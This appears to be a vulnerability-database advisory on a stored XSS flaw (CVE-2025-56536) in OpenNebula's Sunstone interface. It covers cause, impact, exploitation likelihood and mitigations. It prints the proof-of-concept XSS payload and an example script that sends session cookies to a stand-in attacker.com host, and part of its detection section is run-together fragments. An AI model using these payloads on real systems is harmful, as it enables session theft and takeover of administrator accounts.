
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-56536 is a stored cross-site scripting (XSS) vulnerability in OpenNebula's Sunstone web interface that allows attackers to inject arbitrary web scripts or HTML via the user information parameter. It affects OpenNebula versions prior to 7.0.0, with the tested version being 6.10.0.1. The vulnerability was published on April 29, 2026, with a corresponding GitHub Advisory (GHSA-vgvm-265p-r642) published the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, PoC Repo).
The root cause is improper neutralization of user-controllable input before it is rendered in web pages served to other users (CWE-79). The vulnerability resides in the opennebula-sunstone component, where user-supplied data entered into the user information parameter is stored without adequate sanitization and later rendered in the browser of any user who views that information. An attacker can inject a crafted payload such as <image src=q onerror=prompt(8)> into the user information field, which is then persistently stored and executed in the browsers of other authenticated users. No authentication appears to be required to inject the payload, though user interaction (a victim viewing the malicious content) is necessary for execution (PoC Repo, Github Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other OpenNebula users who view the poisoned user information, enabling session cookie theft, credential harvesting, and unauthorized actions performed on behalf of logged-in users (including administrators). Because the payload is stored server-side, every user who views the affected profile is at risk without any further attacker interaction. In a cloud management platform like OpenNebula, compromise of an administrator session could lead to full control over virtual machine infrastructure and sensitive tenant data (Github Advisory, PoC Repo).
A public proof-of-concept exploit is available on GitHub, including a concrete XSS payload and screenshots demonstrating successful execution in the OpenNebula Sunstone interface (PoC Repo). The EPSS score is approximately 0.029–0.032%, indicating a low but non-zero probability of exploitation in the near term. No in-the-wild exploitation or threat actor attribution has been reported as of the time of publication, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).
<image src=q onerror=prompt(8)> or a more malicious variant designed to exfiltrate cookies (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).onerror, onload, <script>); repeated access to user profile pages by multiple accounts in a short timeframe.prompt, alert) appearing in the Sunstone interface when viewing user profiles, indicating active payload execution (PoC Repo).The recommended fix is to upgrade OpenNebula to version 7.0.0 or later, which addresses this vulnerability (Github Advisory, PoC Repo). As interim mitigations, administrators should restrict access to user information modification features to trusted users only, implement Content Security Policy (CSP) headers to limit script execution in browsers, and ensure all user-supplied input in user information parameters is filtered and sanitized server-side. Network-level controls such as WAF rules targeting XSS patterns in POST parameters can provide additional defense-in-depth.
The vulnerability was noted by automated CVE tracking services and aggregators including VulDB, ENISA EUVD, and Red Hat's CVE tracker shortly after publication. No significant vendor statements from OpenNebula or notable independent researcher commentary beyond the PoC author (Mark Artamonov) have been identified. Community reaction appears minimal, consistent with the medium severity rating and absence of active exploitation (Github Advisory).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."